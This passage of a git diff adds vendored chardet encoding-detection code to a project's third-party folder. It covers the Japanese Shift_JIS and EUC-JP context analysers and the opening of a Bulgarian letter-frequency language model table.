+(0,3,0,3,0,3,1,2,0,3,4,4,3,3,3,0,2,2,4,3,3,1,3,3,3,1,1,0,3,1,4,3,2,3,4,4,2,4,4,4,3,4,4,3,2,4,4,3,1,3,3,1,3,3,0,4,1,0,2,2,1,4,3,2,3,3,5,4,3,3,5,4,4,3,3,0,4,0,3,2,2,4,4), +(0,2,0,1,0,0,0,0,0,1,2,1,3,0,0,0,0,0,2,0,1,2,1,0,0,1,0,0,0,0,3,0,0,1,0,1,1,3,1,0,0,0,1,1,0,1,1,0,0,0,0,0,2,0,0,0,0,0,0,0,0,1,1,2,2,0,3,4,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1), +(0,1,0,0,0,1,0,0,0,0,4,0,4,1,4,0,3,0,4,0,3,0,4,0,3,0,3,0,4,1,5,1,4,0,0,3,0,5,0,5,2,0,1,0,0,0,2,1,4,0,1,3,0,0,3,0,0,3,1,1,4,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0), +(1,4,0,5,0,3,0,2,0,3,5,4,4,3,4,3,5,3,4,3,3,0,4,3,3,3,3,3,3,2,4,4,3,1,3,4,4,5,4,4,3,4,4,1,3,5,4,3,3,3,1,2,2,3,3,1,3,1,3,3,3,5,3,3,4,5,0,3,0,3,0,3,4,3,4,4,3,0,3,0,2,4,3), +(0,1,0,4,0,0,0,0,0,1,4,0,4,1,4,2,4,0,3,0,1,0,1,0,0,0,0,0,2,0,3,1,1,1,0,3,0,0,0,1,2,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,3,0,0,0,0,3,2,0,2,2,0,1,0,0,0,2,3,2,3,3,0,0,0,0,2,1,0), +(0,5,1,5,0,3,0,3,0,5,4,4,5,1,5,3,3,0,4,3,4,3,5,3,4,3,3,2,4,3,4,3,3,0,3,3,1,4,4,3,4,4,4,3,4,5,5,3,2,3,1,1,3,3,1,3,1,1,3,3,2,4,5,3,3,5,0,4,0,3,0,4,4,3,5,3,3,0,3,4,0,4,3), +(0,5,0,5,0,3,0,2,0,4,4,3,5,2,4,3,3,3,4,4,4,3,5,3,5,3,3,1,4,0,4,3,3,0,3,3,0,4,4,4,4,5,4,3,3,5,5,3,2,3,1,2,3,2,0,1,0,0,3,2,2,4,4,3,1,5,0,4,0,3,0,4,3,1,3,2,1,0,3,3,0,3,3), +(0,4,0,5,0,5,0,4,0,4,5,5,5,3,4,3,3,2,5,4,4,3,5,3,5,3,4,0,4,3,4,4,3,2,4,4,3,4,5,4,4,5,5,0,3,5,5,4,1,3,3,2,3,3,1,3,1,0,4,3,1,4,4,3,4,5,0,4,0,2,0,4,3,4,4,3,3,0,4,0,0,5,5), +(0,4,0,4,0,5,0,1,1,3,3,4,4,3,4,1,3,0,5,1,3,0,3,1,3,1,1,0,3,0,3,3,4,0,4,3,0,4,4,4,3,4,4,0,3,5,4,1,0,3,0,0,2,3,0,3,1,0,3,1,0,3,2,1,3,5,0,3,0,1,0,3,2,3,3,4,4,0,2,2,0,4,4), +(2,4,0,5,0,4,0,3,0,4,5,5,4,3,5,3,5,3,5,3,5,2,5,3,4,3,3,4,3,4,5,3,2,1,5,4,3,2,3,4,5,3,4,1,2,5,4,3,0,3,3,0,3,2,0,2,3,0,4,1,0,3,4,3,3,5,0,3,0,1,0,4,5,5,5,4,3,0,4,2,0,3,5), +(0,5,0,4,0,4,0,2,0,5,4,3,4,3,4,3,3,3,4,3,4,2,5,3,5,3,4,1,4,3,4,4,4,0,3,5,0,4,4,4,4,5,3,1,3,4,5,3,3,3,3,3,3,3,0,2,2,0,3,3,2,4,3,3,3,5,3,4,1,3,3,5,3,2,0,0,0,0,4,3,1,3,3), +(0,1,0,3,0,3,0,1,0,1,3,3,3,2,3,3,3,0,3,0,0,0,3,1,3,0,0,0,2,2,2,3,0,0,3,2,0,1,2,4,1,3,3,0,0,3,3,3,0,1,0,0,2,1,0,0,3,0,3,1,0,3,0,0,1,3,0,2,0,1,0,3,3,1,3,3,0,0,1,1,0,3,3), +(0,2,0,3,0,2,1,4,0,2,2,3,1,1,3,1,1,0,2,0,3,1,2,3,1,3,0,0,1,0,4,3,2,3,3,3,1,4,2,3,3,3,3,1,0,3,1,4,0,1,1,0,1,2,0,1,1,0,1,1,0,3,1,3,2,2,0,1,0,0,0,2,3,3,3,1,0,0,0,0,0,2,3), +(0,5,0,4,0,5,0,2,0,4,5,5,3,3,4,3,3,1,5,4,4,2,4,4,4,3,4,2,4,3,5,5,4,3,3,4,3,3,5,5,4,5,5,1,3,4,5,3,1,4,3,1,3,3,0,3,3,1,4,3,1,4,5,3,3,5,0,4,0,3,0,5,3,3,1,4,3,0,4,0,1,5,3), +(0,5,0,5,0,4,0,2,0,4,4,3,4,3,3,3,3,3,5,4,4,4,4,4,4,5,3,3,5,2,4,4,4,3,4,4,3,3,4,4,5,5,3,3,4,3,4,3,3,4,3,3,3,3,1,2,2,1,4,3,3,5,4,4,3,4,0,4,0,3,0,4,4,4,4,4,1,0,4,2,0,2,4), +(0,4,0,4,0,3,0,1,0,3,5,2,3,0,3,0,2,1,4,2,3,3,4,1,4,3,3,2,4,1,3,3,3,0,3,3,0,0,3,3,3,5,3,3,3,3,3,2,0,2,0,0,2,0,0,2,0,0,1,0,0,3,1,2,2,3,0,3,0,2,0,4,4,3,3,4,1,0,3,0,0,2,4), +(0,0,0,4,0,0,0,0,0,0,1,0,1,0,2,0,0,0,0,0,1,0,2,0,1,0,0,0,0,0,3,1,3,0,3,2,0,0,0,1,0,3,2,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,4,0,2,0,0,0,0,0,0,2), +(0,2,1,3,0,2,0,2,0,3,3,3,3,1,3,1,3,3,3,3,3,3,4,2,2,1,2,1,4,0,4,3,1,3,3,3,2,4,3,5,4,3,3,3,3,3,3,3,0,1,3,0,2,0,0,1,0,0,1,0,0,4,2,0,2,3,0,3,3,0,3,3,4,2,3,1,4,0,1,2,0,2,3), +(0,3,0,3,0,1,0,3,0,2,3,3,3,0,3,1,2,0,3,3,2,3,3,2,3,2,3,1,3,0,4,3,2,0,3,3,1,4,3,3,2,3,4,3,1,3,3,1,1,0,1,1,0,1,0,1,0,1,0,0,0,4,1,1,0,3,0,3,1,0,2,3,3,3,3,3,1,0,0,2,0,3,3), +(0,0,0,0,0,0,0,0,0,0,3,0,2,0,3,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,3,0,3,0,3,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,2,0,2,3,0,0,0,0,0,0,0,0,3), +(0,2,0,3,1,3,0,3,0,2,3,3,3,1,3,1,3,1,3,1,3,3,3,1,3,0,2,3,1,1,4,3,3,2,3,3,1,2,2,4,1,3,3,0,1,4,2,3,0,1,3,0,3,0,0,1,3,0,2,0,0,3,3,2,1,3,0,3,0,2,0,3,4,4,4,3,1,0,3,0,0,3,3), +(0,2,0,1,0,2,0,0,0,1,3,2,2,1,3,0,1,1,3,0,3,2,3,1,2,0,2,0,1,1,3,3,3,0,3,3,1,1,2,3,2,3,3,1,2,3,2,0,0,1,0,0,0,0,0,0,3,0,1,0,0,2,1,2,1,3,0,3,0,0,0,3,4,4,4,3,2,0,2,0,0,2,4), +(0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,2,2,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,3,1,0,0,0,0,0,0,0,3), +(0,3,0,3,0,2,0,3,0,3,3,3,2,3,2,2,2,0,3,1,3,3,3,2,3,3,0,0,3,0,3,2,2,0,2,3,1,4,3,4,3,3,2,3,1,5,4,4,0,3,1,2,1,3,0,3,1,1,2,0,2,3,1,3,1,3,0,3,0,1,0,3,3,4,4,2,1,0,2,1,0,2,4), +(0,1,0,3,0,1,0,2,0,1,4,2,5,1,4,0,2,0,2,1,3,1,4,0,2,1,0,0,2,1,4,1,1,0,3,3,0,5,1,3,2,3,3,1,0,3,2,3,0,1,0,0,0,0,0,0,1,0,0,0,0,4,0,1,0,3,0,2,0,1,0,3,3,3,4,3,3,0,0,0,0,2,3), +(0,0,0,1,0,0,0,0,0,0,2,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,1,0,0,1,0,0,0,0,0,3), +(0,1,0,3,0,4,0,3,0,2,4,3,1,0,3,2,2,1,3,1,2,2,3,1,1,1,2,1,3,0,1,2,0,1,3,2,1,3,0,5,5,1,0,0,1,3,2,1,0,3,0,0,1,0,0,0,0,0,3,4,0,1,1,1,3,2,0,2,0,1,0,2,3,3,1,2,3,0,1,0,1,0,4), +(0,0,0,1,0,3,0,3,0,2,2,1,0,0,4,0,3,0,3,1,3,0,3,0,3,0,1,0,3,0,3,1,3,0,3,3,0,0,1,2,1,1,1,0,1,2,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,2,2,1,2,0,0,2,0,0,0,0,2,3,3,3,3,0,0,0,0,1,4), +(0,0,0,3,0,3,0,0,0,0,3,1,1,0,3,0,1,0,2,0,1,0,0,0,0,0,0,0,1,0,3,0,2,0,2,3,0,0,2,2,3,1,2,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,2,0,0,0,0,2,3), +(2,4,0,5,0,5,0,4,0,3,4,3,3,3,4,3,3,3,4,3,4,4,5,4,5,5,5,2,3,0,5,5,4,1,5,4,3,1,5,4,3,4,4,3,3,4,3,3,0,3,2,0,2,3,0,3,0,0,3,3,0,5,3,2,3,3,0,3,0,3,0,3,4,5,4,5,3,0,4,3,0,3,4), +(0,3,0,3,0,3,0,3,0,3,3,4,3,2,3,2,3,0,4,3,3,3,3,3,3,3,3,0,3,2,4,3,3,1,3,4,3,4,4,4,3,4,4,3,2,4,4,1,0,2,0,0,1,1,0,2,0,0,3,1,0,5,3,2,1,3,0,3,0,1,2,4,3,2,4,3,3,0,3,2,0,4,4), +(0,3,0,3,0,1,0,0,0,1,4,3,3,2,3,1,3,1,4,2,3,2,4,2,3,4,3,0,2,2,3,3,3,0,3,3,3,0,3,4,1,3,3,0,3,4,3,3,0,1,1,0,1,0,0,0,4,0,3,0,0,3,1,2,1,3,0,4,0,1,0,4,3,3,4,3,3,0,2,0,0,3,3), +(0,3,0,4,0,1,0,3,0,3,4,3,3,0,3,3,3,1,3,1,3,3,4,3,3,3,0,0,3,1,5,3,3,1,3,3,2,5,4,3,3,4,5,3,2,5,3,4,0,1,0,0,0,0,0,2,0,0,1,1,0,4,2,2,1,3,0,3,0,2,0,4,4,3,5,3,2,0,1,1,0,3,4), +(0,5,0,4,0,5,0,2,0,4,4,3,3,2,3,3,3,1,4,3,4,1,5,3,4,3,4,0,4,2,4,3,4,1,5,4,0,4,4,4,4,5,4,1,3,5,4,2,1,4,1,1,3,2,0,3,1,0,3,2,1,4,3,3,3,4,0,4,0,3,0,4,4,4,3,3,3,0,4,2,0,3,4), +(1,4,0,4,0,3,0,1,0,3,3,3,1,1,3,3,2,2,3,3,1,0,3,2,2,1,2,0,3,1,2,1,2,0,3,2,0,2,2,3,3,4,3,0,3,3,1,2,0,1,1,3,1,2,0,0,3,0,1,1,0,3,2,2,3,3,0,3,0,0,0,2,3,3,4,3,3,0,1,0,0,1,4), +(0,4,0,4,0,4,0,0,0,3,4,4,3,1,4,2,3,2,3,3,3,1,4,3,4,0,3,0,4,2,3,3,2,2,5,4,2,1,3,4,3,4,3,1,3,3,4,2,0,2,1,0,3,3,0,0,2,0,3,1,0,4,4,3,4,3,0,4,0,1,0,2,4,4,4,4,4,0,3,2,0,3,3), +(0,0,0,1,0,4,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,3,2,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,2), +(0,2,0,3,0,4,0,4,0,1,3,3,3,0,4,0,2,1,2,1,1,1,2,0,3,1,1,0,1,0,3,1,0,0,3,3,2,0,1,1,0,0,0,0,0,1,0,2,0,2,2,0,3,1,0,0,1,0,1,1,0,1,2,0,3,0,0,0,0,1,0,0,3,3,4,3,1,0,1,0,3,0,2), +(0,0,0,3,0,5,0,0,0,0,1,0,2,0,3,1,0,1,3,0,0,0,2,0,0,0,1,0,0,0,1,1,0,0,4,0,0,0,2,3,0,1,4,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,1,0,0,0,0,0,0,0,2,0,0,3,0,0,0,0,0,3), +(0,2,0,5,0,5,0,1,0,2,4,3,3,2,5,1,3,2,3,3,3,0,4,1,2,0,3,0,4,0,2,2,1,1,5,3,0,0,1,4,2,3,2,0,3,3,3,2,0,2,4,1,1,2,0,1,1,0,3,1,0,1,3,1,2,3,0,2,0,0,0,1,3,5,4,4,4,0,3,0,0,1,3), +(0,4,0,5,0,4,0,4,0,4,5,4,3,3,4,3,3,3,4,3,4,4,5,3,4,5,4,2,4,2,3,4,3,1,4,4,1,3,5,4,4,5,5,4,4,5,5,5,2,3,3,1,4,3,1,3,3,0,3,3,1,4,3,4,4,4,0,3,0,4,0,3,3,4,4,5,0,0,4,3,0,4,5), +(0,4,0,4,0,3,0,3,0,3,4,4,4,3,3,2,4,3,4,3,4,3,5,3,4,3,2,1,4,2,4,4,3,1,3,4,2,4,5,5,3,4,5,4,1,5,4,3,0,3,2,2,3,2,1,3,1,0,3,3,3,5,3,3,3,5,4,4,2,3,3,4,3,3,3,2,1,0,3,2,1,4,3), +(0,4,0,5,0,4,0,3,0,3,5,5,3,2,4,3,4,0,5,4,4,1,4,4,4,3,3,3,4,3,5,5,2,3,3,4,1,2,5,5,3,5,5,2,3,5,5,4,0,3,2,0,3,3,1,1,5,1,4,1,0,4,3,2,3,5,0,4,0,3,0,5,4,3,4,3,0,0,4,1,0,4,4), +(1,3,0,4,0,2,0,2,0,2,5,5,3,3,3,3,3,0,4,2,3,4,4,4,3,4,0,0,3,4,5,4,3,3,3,3,2,5,5,4,5,5,5,4,3,5,5,5,1,3,1,0,1,0,0,3,2,0,4,2,0,5,2,3,2,4,1,3,0,3,0,4,5,4,5,4,3,0,4,2,0,5,4), +(0,3,0,4,0,5,0,3,0,3,4,4,3,2,3,2,3,3,3,3,3,2,4,3,3,2,2,0,3,3,3,3,3,1,3,3,3,0,4,4,3,4,4,1,1,4,4,2,0,3,1,0,1,1,0,4,1,0,2,3,1,3,3,1,3,4,0,3,0,1,0,3,1,3,0,0,1,0,2,0,0,4,4), +(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0), +(0,3,0,3,0,2,0,3,0,1,5,4,3,3,3,1,4,2,1,2,3,4,4,2,4,4,5,0,3,1,4,3,4,0,4,3,3,3,2,3,2,5,3,4,3,2,2,3,0,0,3,0,2,1,0,1,2,0,0,0,0,2,1,1,3,1,0,2,0,4,0,3,4,4,4,5,2,0,2,0,0,1,3), +(0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,4,2,1,1,0,1,0,3,2,0,0,3,1,1,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,1,0,0,0,2,0,0,0,1,4,0,4,2,1,0,0,0,0,0,1), +(0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,3,1,0,0,0,2,0,2,1,0,0,1,2,1,0,1,1,0,0,3,0,0,0,0,0,0,0,0,0,0,0,1,3,1,0,0,0,0,0,1,0,0,2,1,0,0,0,0,0,0,0,0,2), +(0,4,0,4,0,4,0,3,0,4,4,3,4,2,4,3,2,0,4,4,4,3,5,3,5,3,3,2,4,2,4,3,4,3,1,4,0,2,3,4,4,4,3,3,3,4,4,4,3,4,1,3,4,3,2,1,2,1,3,3,3,4,4,3,3,5,0,4,0,3,0,4,3,3,3,2,1,0,3,0,0,3,3), +(0,4,0,3,0,3,0,3,0,3,5,5,3,3,3,3,4,3,4,3,3,3,4,4,4,3,3,3,3,4,3,5,3,3,1,3,2,4,5,5,5,5,4,3,4,5,5,3,2,2,3,3,3,3,2,3,3,1,2,3,2,4,3,3,3,4,0,4,0,2,0,4,3,2,2,1,2,0,3,0,0,4,1), +) + +class JapaneseContextAnalysis(object): + NUM_OF_CATEGORY = 6 + DONT_KNOW = -1 + ENOUGH_REL_THRESHOLD = 100 + MAX_REL_THRESHOLD = 1000 + MINIMUM_DATA_THRESHOLD = 4 + + def __init__(self): + self._total_rel = None + self._rel_sample = None + self._need_to_skip_char_num = None + self._last_char_order = None + self._done = None + self.reset() + + def reset(self): + self._total_rel = 0 # total sequence received + # category counters, each integer counts sequence in its category + self._rel_sample = [0] * self.NUM_OF_CATEGORY + # if last byte in current buffer is not the last byte of a character, + # we need to know how many bytes to skip in next buffer + self._need_to_skip_char_num = 0 + self._last_char_order = -1 # The order of previous char + # If this flag is set to True, detection is done and conclusion has + # been made + self._done = False + + def feed(self, byte_str, num_bytes): + if self._done: + return + + # The buffer we got is byte oriented, and a character may span in more than one + # buffers. In case the last one or two byte in last buffer is not + # complete, we record how many byte needed to complete that character + # and skip these bytes here. We can choose to record those bytes as + # well and analyse the character once it is complete, but since a + # character will not make much difference, by simply skipping + # this character will simply our logic and improve performance. + i = self._need_to_skip_char_num + while i < num_bytes: + order, char_len = self.get_order(byte_str[i:i + 2]) + i += char_len + if i > num_bytes: + self._need_to_skip_char_num = i - num_bytes + self._last_char_order = -1 + else: + if (order != -1) and (self._last_char_order != -1): + self._total_rel += 1 + if self._total_rel > self.MAX_REL_THRESHOLD: + self._done = True + break + self._rel_sample[jp2CharContext[self._last_char_order][order]] += 1 + self._last_char_order = order + + def got_enough_data(self): + return self._total_rel > self.ENOUGH_REL_THRESHOLD + + def get_confidence(self): + # This is just one way to calculate confidence. It works well for me. + if self._total_rel > self.MINIMUM_DATA_THRESHOLD: + return (self._total_rel - self._rel_sample[0]) / self._total_rel + else: + return self.DONT_KNOW + + def get_order(self, byte_str): + return -1, 1 + +class SJISContextAnalysis(JapaneseContextAnalysis): + def __init__(self): + super(SJISContextAnalysis, self).__init__() + self._charset_name = "SHIFT_JIS" + + @property + def charset_name(self): + return self._charset_name + + def get_order(self, byte_str): + if not byte_str: + return -1, 1 + # find out current char's byte length + first_char = byte_str[0] + if (0x81 <= first_char <= 0x9F) or (0xE0 <= first_char <= 0xFC): + char_len = 2 + if (first_char == 0x87) or (0xFA <= first_char <= 0xFC): + self._charset_name = "CP932" + else: + char_len = 1 + + # return its order if it is hiragana + if len(byte_str) > 1: + second_char = byte_str[1] + if (first_char == 202) and (0x9F <= second_char <= 0xF1): + return second_char - 0x9F, char_len + + return -1, char_len + +class EUCJPContextAnalysis(JapaneseContextAnalysis): + def get_order(self, byte_str): + if not byte_str: + return -1, 1 + # find out current char's byte length + first_char = byte_str[0] + if (first_char == 0x8E) or (0xA1 <= first_char <= 0xFE): + char_len = 2 + elif first_char == 0x8F: + char_len = 3 + else: + char_len = 1 + + # return its order if it is hiragana + if len(byte_str) > 1: + second_char = byte_str[1] + if (first_char == 0xA4) and (0xA1 <= second_char <= 0xF3): + return second_char - 0xA1, char_len + + return -1, char_len + + diff --git a/src/thirdparty/chardet/langbulgarianmodel.py b/src/thirdparty/chardet/langbulgarianmodel.py new file mode 100644 index 0000000000..89666872d1 --- /dev/null +++ b/src/thirdparty/chardet/langbulgarianmodel.py @@ -0,0 +1,4650 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +BULGARIAN_LANG_MODEL = { + 63: { # 'e' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 1, # 'б' + 9: 1, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 1, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 0, # 'и' + 26: 1, # 'й' + 12: 1, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 1, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 1, # 'с' + 5: 1, # 'т' + 19: 0, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 45: { # '\xad' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 0, # 'Л' + 38: 1, # 'М' + 36: 0, # 'Н' + 41: 1, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 1, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 1, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 0, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 0, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 0, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 31: { # 'А' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 1, # 'А' + 32: 1, # 'Б' + 35: 2, # 'В' + 43: 1, # 'Г' + 37: 2, # 'Д' + 44: 2, # 'Е' + 55: 1, # 'Ж' + 47: 2, # 'З' + 40: 1, # 'И' + 59: 1, # 'Й' + 33: 1, # 'К' + 46: 2, # 'Л' + 38: 1, # 'М' + 36: 2, # 'Н' + 41: 1, # 'О' + 30: 2, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 1, # 'У' + 48: 2, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 2, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 1, # 'а' + 18: 2, # 'б' + 9: 2, # 'в' + 20: 2, # 'г' + 11: 2, # 'д' + 3: 1, # 'е' + 23: 1, # 'ж' + 15: 2, # 'з' + 2: 0, # 'и' + 26: 2, # 'й' + 12: 2, # 'к' + 10: 3, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 0, # 'о' + 13: 2, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 1, # 'у' + 29: 2, # 'ф' + 25: 1, # 'х' + 22: 1, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 32: { # 'Б' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 2, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 2, # 'Д' + 44: 1, # 'Е' + 55: 1, # 'Ж' + 47: 2, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 2, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 1, # 'У' + 48: 2, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 0, # 'Ш' + 57: 1, # 'Щ' + 61: 2, # 'Ъ' + 60: 1, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 2, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 1, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 35: { # 'В' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 2, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 1, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 2, # 'Ф' + 49: 0, # 'Х' + 53: 1, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 2, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 2, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 2, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 2, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 43: { # 'Г' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 2, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 0, # 'П' + 39: 1, # 'Р' + 28: 1, # 'С' + 34: 0, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 1, # 'Щ' + 61: 1, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 1, # 'б' + 9: 1, # 'в' + 20: 0, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 2, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 